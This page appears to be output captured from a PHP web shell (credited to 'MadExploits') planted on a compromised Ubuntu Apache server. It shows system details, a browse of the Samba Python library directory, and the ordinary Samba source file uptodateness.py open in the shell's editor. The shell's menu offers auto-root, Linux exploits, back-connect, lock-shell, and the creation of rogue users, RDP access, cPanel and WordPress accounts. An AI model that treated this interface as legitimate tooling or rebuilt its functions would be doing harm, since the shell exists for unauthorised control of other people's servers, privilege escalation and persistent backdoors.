Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
samba /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
dcerpc
[ DIR ]
drwxr-xr-x
emulate
[ DIR ]
drwxr-xr-x
gp_parse
[ DIR ]
drwxr-xr-x
kcc
[ DIR ]
drwxr-xr-x
netcmd
[ DIR ]
drwxr-xr-x
provision
[ DIR ]
drwxr-xr-x
samba3
[ DIR ]
drwxr-xr-x
subunit
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
__init__.py
12.62
KB
-rw-r--r--
_glue.cpython-310-x86_64-linux...
26.96
KB
-rw-r--r--
_ldb.cpython-310-x86_64-linux-...
66.32
KB
-rw-r--r--
auth.cpython-310-x86_64-linux-...
61.54
KB
-rw-r--r--
auth_util.py
1.1
KB
-rw-r--r--
colour.py
2.84
KB
-rw-r--r--
common.py
3.81
KB
-rw-r--r--
credentials.cpython-310-x86_64...
48.79
KB
-rw-r--r--
crypto.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
dbchecker.py
130.9
KB
-rw-r--r--
dckeytab.cpython-310-x86_64-li...
18.33
KB
-rw-r--r--
descriptor.py
27.97
KB
-rw-r--r--
dnsresolver.py
2.29
KB
-rw-r--r--
dnsserver.py
13.96
KB
-rw-r--r--
domain_update.py
14.97
KB
-rw-r--r--
drs_utils.py
18.23
KB
-rw-r--r--
dsdb.cpython-310-x86_64-linux-...
55.4
KB
-rw-r--r--
dsdb_dns.cpython-310-x86_64-li...
22.52
KB
-rw-r--r--
forest_update.py
19.75
KB
-rw-r--r--
gensec.cpython-310-x86_64-linu...
35.41
KB
-rw-r--r--
getopt.py
16.03
KB
-rw-r--r--
gp_ext_loader.py
2.09
KB
-rw-r--r--
gp_gnome_settings_ext.py
20.15
KB
-rw-r--r--
gp_msgs_ext.py
3.46
KB
-rw-r--r--
gp_scripts_ext.py
3.85
KB
-rw-r--r--
gp_sec_ext.py
8.87
KB
-rw-r--r--
gp_smb_conf_ext.py
3.79
KB
-rw-r--r--
gp_sudoers_ext.py
4.5
KB
-rw-r--r--
gpclass.py
21.5
KB
-rw-r--r--
gpo.cpython-310-x86_64-linux-g...
23.72
KB
-rw-r--r--
graph.py
27.76
KB
-rw-r--r--
hostconfig.py
2.29
KB
-rw-r--r--
idmap.py
3.25
KB
-rw-r--r--
join.py
75.74
KB
-rw-r--r--
logger.py
2.08
KB
-rw-r--r--
mdb_util.py
1.48
KB
-rw-r--r--
messaging.cpython-310-x86_64-l...
27.07
KB
-rw-r--r--
ms_display_specifiers.py
4.65
KB
-rw-r--r--
ms_forest_updates_markdown.py
9.15
KB
-rw-r--r--
ms_schema.py
9.32
KB
-rw-r--r--
ms_schema_markdown.py
2.21
KB
-rw-r--r--
ndr.py
5.31
KB
-rw-r--r--
net.cpython-310-x86_64-linux-g...
31.04
KB
-rw-r--r--
net_s3.cpython-310-x86_64-linu...
74.87
KB
-rw-r--r--
netbios.cpython-310-x86_64-lin...
22.88
KB
-rw-r--r--
ntacls.py
23.42
KB
-rw-r--r--
ntstatus.cpython-310-x86_64-li...
122.13
KB
-rw-r--r--
param.cpython-310-x86_64-linux...
32.07
KB
-rw-r--r--
policy.cpython-310-x86_64-linu...
14.4
KB
-rw-r--r--
posix_eadb.cpython-310-x86_64-...
14.4
KB
-rw-r--r--
registry.cpython-310-x86_64-li...
28.04
KB
-rw-r--r--
remove_dc.py
18.18
KB
-rw-r--r--
samdb.py
59.92
KB
-rw-r--r--
schema.py
9.93
KB
-rw-r--r--
sd_utils.py
8.06
KB
-rw-r--r--
security.cpython-310-x86_64-li...
14.34
KB
-rw-r--r--
sites.py
3.96
KB
-rw-r--r--
subnets.py
8.3
KB
-rw-r--r--
tdb_util.py
1.45
KB
-rw-r--r--
trust_utils.py
2.1
KB
-rw-r--r--
upgrade.py
33.78
KB
-rw-r--r--
upgradehelpers.py
32.24
KB
-rw-r--r--
uptodateness.py
6.55
KB
-rw-r--r--
vgp_access_ext.py
6
KB
-rw-r--r--
vgp_files_ext.py
5.83
KB
-rw-r--r--
vgp_issue_ext.py
2.85
KB
-rw-r--r--
vgp_motd_ext.py
2.85
KB
-rw-r--r--
vgp_openssh_ext.py
4.39
KB
-rw-r--r--
vgp_startup_scripts_ext.py
5.51
KB
-rw-r--r--
vgp_sudoers_ext.py
5.41
KB
-rw-r--r--
vgp_symlink_ext.py
3.24
KB
-rw-r--r--
werror.cpython-310-x86_64-linu...
158.13
KB
-rw-r--r--
xattr.py
2.23
KB
-rw-r--r--
xattr_native.cpython-310-x86_6...
14.4
KB
-rw-r--r--
xattr_tdb.cpython-310-x86_64-l...
14.4
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : uptodateness.py
# Uptodateness utils # # Copyright (C) Andrew Bartlett 2015, 2018 # Copyright (C) Douglas Bagnall <douglas.bagnall@catalyst.net.nz> # Copyright (C) Joe Guo <joeg@catalyst.net.nz> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import sys import time from ldb import SCOPE_BASE, LdbError from samba import nttime2unix, dsdb from samba.netcmd import CommandError from samba.samdb import SamDB from samba.kcc import KCC def get_kcc_and_dsas(url, lp, creds): """Get a readonly KCC object and the list of DSAs it knows about.""" unix_now = int(time.time()) kcc = KCC(unix_now, readonly=True) kcc.load_samdb(url, lp, creds) dsa_list = kcc.list_dsas() dsas = set(dsa_list) if len(dsas) != len(dsa_list): print("There seem to be duplicate dsas", file=sys.stderr) return kcc, dsas def get_partition_maps(samdb): """Generate dictionaries mapping short partition names to the appropriate DNs.""" base_dn = samdb.domain_dn() short_to_long = { "DOMAIN": base_dn, "CONFIGURATION": str(samdb.get_config_basedn()), "SCHEMA": "CN=Schema,%s" % samdb.get_config_basedn(), "DNSDOMAIN": "DC=DomainDnsZones,%s" % base_dn, "DNSFOREST": "DC=ForestDnsZones,%s" % base_dn } long_to_short = {} for s, l in short_to_long.items(): long_to_short[l] = s return short_to_long, long_to_short def get_partition(samdb, part): # Allow people to say "--partition=DOMAIN" rather than # "--partition=DC=blah,DC=..." if part is not None: short_partitions, long_partitions = get_partition_maps(samdb) part = short_partitions.get(part.upper(), part) if part not in long_partitions: raise CommandError("unknown partition %s" % part) return part def get_utdv(samdb, dn): """This finds the uptodateness vector in the database.""" cursors = [] config_dn = samdb.get_config_basedn() for c in dsdb._dsdb_load_udv_v2(samdb, dn): inv_id = str(c.source_dsa_invocation_id) res = samdb.search(base=config_dn, expression=("(&(invocationId=%s)" "(objectClass=nTDSDSA))" % inv_id), attrs=["distinguishedName", "invocationId"]) try: settings_dn = str(res[0]["distinguishedName"][0]) prefix, dsa_dn = settings_dn.split(',', 1) except IndexError as e: continue if prefix != 'CN=NTDS Settings': raise CommandError("Expected NTDS Settings DN, got %s" % settings_dn) cursors.append((dsa_dn, inv_id, int(c.highest_usn), nttime2unix(c.last_sync_success))) return cursors def get_own_cursor(samdb): res = samdb.search(base="", scope=SCOPE_BASE, attrs=["highestCommittedUSN"]) usn = int(res[0]["highestCommittedUSN"][0]) now = int(time.time()) return (usn, now) def get_utdv_edges(local_kcc, dsas, part_dn, lp, creds): # we talk to each remote and make a matrix of the vectors # for each partition # normalise by oldest utdv_edges = {} for dsa_dn in dsas: res = local_kcc.samdb.search(dsa_dn, scope=SCOPE_BASE, attrs=["dNSHostName"]) ldap_url = "ldap://%s" % res[0]["dNSHostName"][0] try: samdb = SamDB(url=ldap_url, credentials=creds, lp=lp) cursors = get_utdv(samdb, part_dn) own_usn, own_time = get_own_cursor(samdb) remotes = {dsa_dn: own_usn} for dn, guid, usn, t in cursors: remotes[dn] = usn except LdbError as e: print("Could not contact %s (%s)" % (ldap_url, e), file=sys.stderr) continue utdv_edges[dsa_dn] = remotes return utdv_edges def get_utdv_distances(utdv_edges, dsas): distances = {} for dn1 in dsas: try: peak = utdv_edges[dn1][dn1] except KeyError as e: peak = 0 d = {} distances[dn1] = d for dn2 in dsas: if dn2 in utdv_edges: if dn1 in utdv_edges[dn2]: dist = peak - utdv_edges[dn2][dn1] d[dn2] = dist else: print("Missing dn %s from UTD vector" % dn1, file=sys.stderr) else: print("missing dn %s from UTD vector list" % dn2, file=sys.stderr) return distances def get_utdv_max_distance(distances): max_distance = 0 for vector in distances.values(): for distance in vector.values(): max_distance = max(max_distance, distance) return max_distance def get_utdv_summary(distances, filters=None): maximum = failure = 0 median = 0.0 # could be average of 2 median values values = [] # put all values into a list, exclude self to self ones for dn_outer, vector in distances.items(): for dn_inner, distance in vector.items(): if dn_outer != dn_inner: values.append(distance) if values: values.sort() maximum = values[-1] length = len(values) if length % 2 == 0: index = length//2 - 1 median = (values[index] + values[index+1])/2.0 median = round(median, 1) # keep only 1 decimal digit like 2.5 else: index = (length - 1)//2 median = values[index] median = float(median) # ensure median is always a float like 1.0 # if value not exist, that's a failure expected_length = len(distances) * (len(distances) - 1) failure = expected_length - length summary = { 'maximum': maximum, 'median': median, 'failure': failure, } if filters: return {key: summary[key] for key in filters} else: return summary
Close